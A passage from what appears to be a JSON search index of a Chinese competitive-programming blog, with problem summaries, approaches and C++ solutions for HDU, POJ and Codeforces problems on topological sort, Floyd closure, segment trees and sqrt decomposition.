44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 int t; 50 scanf(\"%d\",\u0026t); 51 while(t--) 52 { 53 scanf(\"%lf %lf %lf %lf %lf %lf %lf\",\u0026circle.x,\u0026circle.y,\u0026r,\u0026a.x,\u0026a.y,\u0026b.x,\u0026b.y); 54 if(a.x \u003e b.x) 55 swap(a,b); 56 c.x=a.x,c.y=b.y; 57 d.x=b.x,d.y=a.y; 58 59 if (ok()) 60 { 61 puts(\"YES\"); 62 } 63 else 64 { 65 puts(\"NO\"); 66 } 67 } 68 return 0; 69}","date":"2015-12-21","externalUrl":null,"permalink":"/2015/12/hdu-1221-rectangle-and-circle/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1221 题意：问圆和矩形是否相交 思路：主要特殊的包含情况，然后判断与线段相交。","tags":["计算几何"],"title":"hdu 1221 Rectangle and Circle","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3687 题意：给定几个标签球的重量大小关系，求每个球是第几重的(即每个球在所有球的重量中由小到大排名是多少)。 （输出是每个球第几重，而不是几号球比几号球重！）。一开始理解错了QAQ 思路：反向拓扑+优先队列。因为正向不好用。。。所以我们连边的时候由重的指向轻的。。这样最先出队的就是最重的。。和上道题差不多？ 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月19日 星期六 16时32分59秒 4File Name :code/poj/3687.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=203; 34int n,m; 35bool conc[N][N]; 36bool ok; 37int in[N]; 38int ans[N]; 39void topo() 40{ 41 priority_queue\u003cint \u003eq; 42 43 for ( int i = 1 ; i \u003c= n ; i++) 44 if (in[i]==0) q.push(i); 45 46 int cnt = n ; 47 while (!q.empty()) 48 { 49 int v = q.top(); q.pop(); 50 51 ans[v] = cnt--; 52 53 for ( int i =1 ; i \u003c= n ; i++) 54 { 55 if (!conc[v][i]) continue; 56 57 in[i]--; 58 if (in[i]==0) q.push(i); 59 } 60 } 61// cout\u003c\u003c\"cnt:\"\u003c\u003ccnt\u003c\u003cendl; 62 if (cnt!=0) 63 { 64 puts(\"-1\"); 65 } 66 else 67 { 68 for ( int i =1 ; i \u003c= n-1 ; i++) printf(\"%d \",ans[i]); 69 printf(\"%d\\n\",ans[n]); 70 } 71} 72int main() 73{ 74 #ifndef ONLINE_JUDGE 75 freopen(\"code/in.txt\",\"r\",stdin); 76 #endif 77 int T; 78 cin\u003e\u003eT; 79 while (T--) 80 { 81 scanf(\"%d %d\",\u0026n,\u0026m); 82 ok = true; 83 ms(conc,false); 84 ms(in,0); 85 while (m--) 86 { 87 int x,y; 88","date":"2015-12-19","externalUrl":null,"permalink":"/2015/12/poj3687/","section":"Posts","summary":"http://poj.org/problem?id=3687 题意：给定几个标签球的重量大小关系，求每个球是第几重的(即每个球在所有球的重量中由小到大排名是多少)。 （输出是每个球第几重，而不是几号球比几号球重！）。一开始理解错了QAQ 思路：反向拓扑+优先队列。因为正向不好用。。。所以我们连边的时候由重的指向轻的。。这样最先出队的就是最重的。。和上道题差不多？","tags":["stl","优先队列","图论","拓扑排序"],"title":"poj 3687 Labeling Balls","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3660 题意：给定n个奶牛，m个奶牛的关系，a,b表示a比b强…问能确定多少个奶牛的排名。 思路：最重要的一点是。。能确定奶牛i的排名的条件是。。知道奶牛i和其他n-1个奶牛的关系。。不管是能打败奶牛i也好。。会被奶牛i打败也好。。只要不是不确定就行。。所以我们跑一遍floyd做传递闭包。得到任何两个点之间的联系。然后对于每一个点。看其他n-1个点是否和他有关系。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月17日 星期四 21时31分05秒 4File Name :code/poj/3660.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n ,m; 35int v[N][N]; 36 37 38void init() 39{ 40 for ( int i = 0 ; i \u003c= 100 ; i++) 41 for ( int j = 0; j \u003c= 100 ; j++) 42 v[i][j]=i==j?1:0; 43} 44 45void floyd() 46{ 47 for (int k = 1 ; k \u003c= n ; k++) 48 for ( int i = 1 ; i \u003c= n ; i++) 49 for ( int j = 1 ; j \u003c= n; j++) 50 v[i][j] = v[i][j]||(v[i][k]\u0026\u0026v[k][j]); 51} 52 53int main() 54{ 55 #ifndef ONLINE_JUDGE 56 freopen(\"code/in.txt\",\"r\",stdin); 57 #endif 58 59 scanf(\"%d %d\",\u0026n,\u0026m); 60 while (m--) 61 { 62 int x,y; 63 scanf(\"%d %d\",\u0026x,\u0026y); 64 v[x][y] = 1; 65 } 66 67 floyd(); 68 69 70 int ans = 0; 71 for ( int i =1 ; i \u003c= n; i++) 72 { 73 int cnt = 0 ; 74 for ( int j = 1 ; j \u003c= n ;j++) 75 { 76 if (i==j) continue; 77 if (v[i][j]||v[j][i]) 78 cnt++; 79 } 80 if (cnt==n-1) ans++; 81 } 82 cout\u003c\u003cans\u003c\u003cendl; 83 84 #ifndef ONLINE_JU","date":"2015-12-17","externalUrl":null,"permalink":"/2015/12/poj3660/","section":"Posts","summary":"http://poj.org/problem?id=3660 题意：给定n个奶牛，m个奶牛的关系，a,b表示a比b强…问能确定多少个奶牛的排名。 思路：最重要的一点是。。能确定奶牛i的排名的条件是。。知道奶牛i和其他n-1个奶牛的关系。。不管是能打败奶牛i也好。。会被奶牛i打败也好。。只要不是不确定就行。。所以我们跑一遍floyd做传递闭包。得到任何两个点之间的联系。然后对于每一个点。看其他n-1个点是否和他有关系。","tags":["floyd","传递闭包","图论"],"title":"poj 3660 Cow Contest (floyd,传递闭包)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=2647 题意：老板要给很多员工发奖金， 但是部分员工有个虚伪心态， 认为自己的奖金必须比某些人高才心理平衡； 但是老板很人道， 想满足所有人的要求， 并且很吝啬，想画的钱最少 输入若干个关系 a b a c c b 意味着a 的工资必须比b的工资高 同时a 的工资比c高； c的工资比b高 当出现环的时候输出-1 思路：因为点的个数比较多。。。用数组存点的关系存不下。。于是用set存边。。和用vector差不多。。。窝一开始的大思路错了。。以为会是一条链。。也就是没一个钱数只对应一个人。。。但实际上可以是889,888,888，这样。。。只要不矛盾。。然后要反向建图。。因为只知道最少的钱数是888，不知道最多的钱数是多少。。所以最先出来的，也就是入度为0的点应该为工资最少的。。。所以如果a应该比b工资高，那么连一条b指向a的边。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月09日 星期三 19时27分04秒 4File Name :code/hdu/2647.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+1; 34int n,m; 35set\u003cint\u003econc[N]; 36set\u003cint\u003e::iterator it; 37int in[N]; 38int val[N]; 39 40void topo() 41{ 42 queue\u003cint\u003eq; 43 for ( int i = 1 ; i \u003c= n ; i++) 44 if (in[i]==0) q.push(i); 45 46 int cnt = 0 ; 47 LL sum = 0 ; 48 while (!q.empty()) 49 { 50 int v = q.front(); 51 q.pop(); 52 cnt++; 53 54 sum = sum + val[v]; 55 for (it=conc[v].begin() ;it!=conc[v].end() ;it++) 56 { 57 if (val[*it]\u003cval[v]+1) 58 { 59 val[*it] = val[v] + 1; //最根本的思路想错了。。。未必是个链啊。。可以一个2，两个1.。 60 //之前的算法默认成每一种钱数只能有一个人。。没有平级的。但实际上是可以有的。 61 } 62 in[*it]--; 63 if (in[*it]==0) 64 { 65 q.push(*it); 66 } 67 } 68 /","date":"2015-12-17","externalUrl":null,"permalink":"/2015/12/hdu2647/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=2647 题意：老板要给很多员工发奖金， 但是部分员工有个虚伪心态， 认为自己的奖金必须比某些人高才心理平衡； 但是老板很人道， 想满足所有人的要求， 并且很吝啬，想画的钱最少 输入若干个关系 a b a c c b 意味着a 的工资必须比b的工资高 同时a 的工资比c高； c的工资比b高","tags":["图论","拓扑排序"],"title":"hdu 2647  rewards","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=3342 裸题。 注意有重边。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月17日 星期四 19时29分00秒 4File Name :code/hdoj/3342.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E2+7; 34 35int n,m; 36 37bool v[N][N]; 38int in[N]; 39 40void topo() 41{ 42 queue\u003cint\u003eq; 43 44 for ( int i = 0 ; i \u003c n ; i++) 45 { 46 if (in[i]==0) q.push(i); 47 } 48 49 int cnt = 0 ; 50 while (!q.empty()) 51 { 52 cnt++; 53 int u = q.front(); q.pop(); 54 55 for ( int i = 0 ; i\u003c n ; i++) 56 { 57 if (!v[u][i]) continue; 58 59 in[i]--; 60 if (in[i]==0) 61 { 62 q.push(i); 63 } 64 } 65 } 66 if (cnt==n) 67 { 68 puts(\"YES\"); 69 } 70 else 71 { 72 puts(\"NO\"); 73 } 74} 75int main() 76{ 77 #ifndef ONLINE_JUDGE 78 freopen(\"code/in.txt\",\"r\",stdin); 79 #endif 80 81 while (~scanf(\"%d %d\",\u0026n,\u0026m)!=EOF) 82 { 83 if (n==0) break; 84 ms(v,false); 85 ms(in,0); 86 while (m--) 87 { 88 int x,y; 89 scanf(\"%d %d\",\u0026x,\u0026y); 90 if (v[x][y]) continue ; //重边? 91 v[x][y] = true; 92 in[y]++; 93 } 94 95 topo(); 96 } 97 98 #ifndef ONLINE_JUDGE 99 fclose(stdin); 100 #endif 101 return 0; 102}","date":"2015-12-17","externalUrl":null,"permalink":"/2015/12/hdoj3342/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=3342 裸题。 注意有重边。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月17日 星期四 19时29分00秒 4File Name :code/hdoj/3342.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E2+7; 34 35int n,m; 36 37bool v[N][N]; 38int in[N]; 39 40void topo() 41{ 42 queue\u003cint\u003eq; 43 44 for ( int i = 0 ; i \u003c n ; i++) 45 { 46 if (in[i]==0) q.push(i); 47 } 48 49 int cnt = 0 ; 50 while (!q.empty()) 51 { 52 cnt++; 53 int u = q.front(); q.pop(); 54 55 for ( int i = 0 ; i\u003c n ; i++) 56 { 57 if (!v[u][i]) continue; 58 59 in[i]--; 60 if (in[i]==0) 61 { 62 q.push(i); 63 } 64 } 65 } 66 if (cnt==n) 67 { 68 puts(\"YES\"); 69 } 70 else 71 { 72 puts(\"NO\"); 73 } 74} 75int main() 76{ 77 #ifndef ONLINE_JUDGE 78 freopen(\"code/in.txt\",\"r\",stdin); 79 #endif 80 81 while (~scanf(\"%d %d\",\u0026n,\u0026m)!=EOF) 82 { 83 if (n==0) break; 84 ms(v,false); 85 ms(in,0); 86 while (m--) 87 { 88 int x,y; 89 scanf(\"%d %d\",\u0026x,\u0026y); 90 if (v[x][y]) continue ; //重边? 91 v[x][y] = true; 92 in[y]++; 93 } 94 95 topo(); 96 } 97 98 #ifndef ONLINE_JUDGE 99 fclose(stdin); 100 #endif 101 return 0; 102}","tags":["图论","拓扑排序"],"title":"hdu 3342 Legal or Not","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=2795 题意：一个尺寸为wh的方格。要按顺序放放n个尺寸为1wi的纸条。问每一个纸条回被放在哪里。如果有多个，放在最上面（编号小） 思路：把没横行能放的最大长度看做一个序列建树。由于h比n大很多。。多出来的没用。。直接取较小值就行。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月17日 星期四 15时04分52秒 4File Name :code/hdu/2785.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int h,w,n; 35 36struct SegTree //将每个横格能放置的最大长度看做一个序列，建树。 37{ 38 int mx; 39}tree[4*N]; 40 41void build ( int l,int r,int rt) 42{ 43 // cout\u003c\u003c\"l:\"\u003c\u003cl\u003c\u003c\" r:\"\u003c\u003cr\u003c\u003c\" rt:\"\u003c\u003crt\u003c\u003cendl; 44 tree[rt].mx = w; 45 if (l==r) 46 { 47 return ; 48 } 49 int m = (l+r)\u003e\u003e1; 50 build (lson); 51 build (rson); 52 53} 54 55int query( int x,int l,int r,int rt) 56{ 57 if (l==r) 58 { 59 tree[rt].mx-=x; //将长度为x的改点放在第l个横格里。 60 return l; 61 } 62 int m = (l+r)\u003e\u003e1; 63 int res; 64 if (tree[rt\u003c\u003c1].mx\u003e=x) //先搜左子树，可以保证topmost. 65 { 66 res=query(x,lson); 67 } 68 else 69 { 70 res=query(x,rson); 71 } 72 73 tree[rt].mx = max(tree[rt\u003c\u003c1].mx,tree[rt\u003c\u003c1|1].mx); 74 return res; 75} 76 77 78 79 80int main() 81{ 82 #ifndef ONLINE_JUDGE 83 freopen(\"code/in.txt\",\"r\",stdin); 84 #endif 85 86 while (~scanf(\"%d %d %d\",\u0026h,\u0026w,\u0026n)) 87 { 88 if (h\u003en) h = n ; //不用离散化，这样就可以。 89 b","date":"2015-12-17","externalUrl":null,"permalink":"/2015/12/hdoj2795/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=2795 题意：一个尺寸为wh的方格。要按顺序放放n个尺寸为1wi的纸条。问每一个纸条回被放在哪里。如果有多个，放在最上面（编号小） 思路：把没横行能放的最大长度看做一个序列建树。由于h比n大很多。。多出来的没用。。直接取较小值就行。","tags":["线段树"],"title":"hdoj 2795 Billboard","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/466/C 题意：给定一个序列。要将序列分成三个非零的连续部分，使得三部分的和相等。问有多少中分法。 思路：首先可以知道，如果是序列的和不为3的倍数，那么一定无解，输出0.设序列的和为sum,那么每一部分的和就应该为sum/3。我们可以预处理出从1开始的和为sum/3的点（我开了数组表示前缀和。。想了下其实不用。。我只需要点的信息。。所以用一个变量表示即可），将点的下标存在p[i]里。对于每一个p[i]，我想要知道比p[i]大且补与p[i]相邻的点中，有多少个j，使得从j到n的和为sum/3。因为如果有两部分的和都为sum/3，那么剩下的那部分也一定为sum/3.然后要知道有多少个满足题意的j,我们可以从后往前扫一遍，标记从n开始往前扫，和为sum/3的点，可以用一个0,1数组表示。如果和为sum/3，那么标记为1，否则为0.然后再用一个类似前缀和的思路。再开一个数组c记录从j到n有的和为多少，也就是从j到n有多少个点满足该点到n的和为sum/3. 预处理完这些之后。只需要从前往后扫一遍p[i]，然后ans+=c[p[i]+2]即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月15日 星期二 20时28分44秒 4File Name :code/cf/problem/466C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E5+7; 34int n; 35int a[N]; 36LL sum[N],rsum[N]; 37int p[N],rp[N]; 38int cnt,rcnt; 39int b[N]; 40int c[N]; 41LL ans; 42LL solve() 43{ 44 LL total = sum[n]; 45 if (total%3!=0) return 0; 46 LL ave = total/3; 47 cnt = 0 ; 48 for ( int i = 1 ; i \u003c= n ; i++) 49 { 50 if (sum[i]==ave) 51 { 52 cnt++; 53 p[cnt] = i; 54 // cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003cendl; 55 } 56 } 57 ms(b,0); 58 for ( int i = n ; i \u003e= 1 ; i--) 59 { 60 if (rsum[i]==ave) 61 { 62 b[i] = 1; //b[i]为1表示可以，为0表示不可以。 63 } 64 } 65 c[n]","date":"2015-12-15","externalUrl":null,"permalink":"/2015/12/cf466c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/466/C 题意：给定一个序列。要将序列分成三个非零的连续部分，使得三部分的和相等。问有多少中分法。 思路：首先可以知道，如果是序列的和不为3的倍数，那么一定无解，输出0.设序列的和为sum,那么每一部分的和就应该为sum/3。我们可以预处理出从1开始的和为sum/3的点（我开了数组表示前缀和。。想了下其实不用。。我只需要点的信息。。所以用一个变量表示即可），将点的下标存在p[i]里。对于每一个p[i]，我想要知道比p[i]大且补与p[i]相邻的点中，有多少个j，使得从j到n的和为sum/3。因为如果有两部分的和都为sum/3，那么剩下的那部分也一定为sum/3.然后要知道有多少个满足题意的j,我们可以从后往前扫一遍，标记从n开始往前扫，和为sum/3的点，可以用一个0,1数组表示。如果和为sum/3，那么标记为1，否则为0.然后再用一个类似前缀和的思路。再开一个数组c记录从j到n有的和为多少，也就是从j到n有多少个点满足该点到n的和为sum/3.","tags":["brute force","数据结构"],"title":"codeforces 466 C. Number of Ways","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/279/B 题意：给定一个序列，问一段连续的序列的和小于等于t的最长的序列的长度。 思路：尺取法。三个月前学习的了。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月15日 星期二 20时08分16秒 4File Name :code/cf/problem/279B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35int t; 36int a[N]; 37 38void solve() 39{ 40 int head = 1; 41 int tail = 1; 42 int sum = 0 ; 43 int ans = 0 ; 44 while (tail\u003c=n) 45 { 46// cout\u003c\u003c\"aaaaa?\"\u003c\u003cendl; 47 sum = sum + a[tail]; 48// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003c\" tail:\"\u003c\u003ctail\u003c\u003c\" sum:\"\u003c\u003csum\u003c\u003cendl; 49 if (sum\u003et) 50 { 51 while (sum\u003et) 52 { 53 sum = sum - a[head]; 54// cout\u003c\u003c\"sum:\"\u003c\u003csum\u003c\u003cendl; 55 head++; 56 } 57 } 58 if (sum\u003c=t) 59 ans = max(ans,tail-head+1); 60 tail++; 61 62 } 63 printf(\"%d\\n\",ans); 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 71 scanf(\"%d%d\",\u0026n,\u0026t); 72 for ( int i =1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 73 solve(); 74 75 #ifndef ONLINE_JUDGE 76 fclose(stdin); 77 #endif 78 return 0; 79}","date":"2015-12-15","externalUrl":null,"permalink":"/2015/12/cf279b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/279/B 题意：给定一个序列，问一段连续的序列的和小于等于t的最长的序列的长度。 思路：尺取法。三个月前学习的了。","tags":["尺取法"],"title":"codeforces 279 B books","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4391 题意：有 n 个点，每个点有一种颜色（可能相同），两种操作：1、将区间 [a,b] 染成颜色 c ; 2、询问区间 [a,b] 中颜色为 c 的点有多少个。 思路：因为颜色种类很多。。。没办法通过建很多棵线段树解决。我们用分块的办法。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月15日 星期二 15时00分34秒 4File Name :code/hdoj/4391.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; //sqrt(n),n最大100000 34int n,q,c[N]; 35int len ,cnt; 36struct HashBlock{ 37 int siz; //块的大小，因为最后一个快的长度可能不足len, 38 int col;//整块的颜色。当快没有被标记成统一的颜色的时候，为-1 39 map\u003cint,int\u003emp; 40}a[400]; 41 42void init() 43{ 44 len = (int)sqrt(n*1.0); 45 cnt = (n-1)/len+1; 46 for ( int i = 0 ; i \u003c cnt ; i++) 47 { 48 a[i].siz = min(n,(i+1)*len)-i*len; 49 a[i].col = -1; 50 a[i].mp.clear(); 51 } 52 53 for ( int i = 0 ; i \u003c n ; i++) 54 { 55 scanf(\"%d\",\u0026c[i]); 56 a[i/len] .mp[c[i]]++; 57 } 58} 59 60void Push_Down( int step) 61{ 62 if (a[step].col!=-1) 63 { 64 a[step].mp.clear(); 65 for ( int i = step*len ; i\u003cmin((step+1)*len,n); i++) 66 { 67 c[i] = a[step].col; 68 a[step].mp[c[i]]++; 69 } 70 a[step].col = -1; 71 } 72} 73 74void update(int l,int r,int col) 75{ 76 int la=l/len,ra=r/len; 77 for(int i=la+1;i\u003cra;i++) a[i].col=col; 78 if(la!=ra) 7","date":"2015-12-15","externalUrl":null,"permalink":"/2015/12/hdoj4391/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4391 题意：有 n 个点，每个点有一种颜色（可能相同），两种操作：1、将区间 [a,b] 染成颜色 c ; 2、询问区间 [a,b] 中颜色为 c 的点有多少个。 思路：因为颜色种类很多。。。没办法通过建很多棵线段树解决。我们用分块的办法。。。","tags":["hash","stl","分块"],"title":"hdoj4391 Paint The Wall","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1754 题意：给定一个区间，有m组操作，操作可以是改变单点，或者查询区间最大值。对于每组查询，输出。 思路：分块。这篇博客说得很不错。http://www.cnblogs.com/sweetsc/archive/2012/08/15/2639395.html 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月15日 星期二 11时25分17秒 4File Name :code/hdu/1754.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int a[N]; 35int mx[N]; 36int n ,m; 37int magic; 38 39void pre() 40{ 41 magic = int(sqrt(n)); 42 ms(mx,-1); //把i%magic去掉试试。 43 for ( int i = 0 ; i \u003cn ; i++ ) //从0开始比较方便。 44 { 45// if (a[i]\u003emx[i/magic]) 46// mx[i/magic] = a[i]; 47 mx[i/magic] = max(mx[i/magic],a[i]); 48 } 49 50} 51 52int query( int l,int r) 53{ 54 int ret = a[l]; 55 for ( int j = l ; j \u003c= r;) 56 { 57 if (j%magic==0\u0026\u0026j+magic-1\u003c=r) 58 { 59 ret = max(ret,mx[j/magic]); 60 // if (mx[j/magic]\u003eret) ret= mx[j/magic]; 61 j+= magic; 62 } 63 else //首尾两段不够magic的部分直接暴力 64 { 65 ret = max(a[j],ret); 66 //if (a[j]\u003eret) ret = a[j]; 67 j++; 68 } 69 } 70 return ret; 71} 72 73void update( int x,int delta) 74{ 75 a[x] = delta; 76 int l = x/magic*magic; 77 int r = l+magic; //找到x对应的哪个块。 78 for ( int i = l ; i \u003c r ; i++) 79 { 80 // if (i%magic==0||a[i]\u003emx[i/magic])","date":"2015-12-15","externalUrl":null,"permalink":"/2015/12/hdoj1754/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1754 题意：给定一个区间，有m组操作，操作可以是改变单点，或者查询区间最大值。对于每组查询，输出。 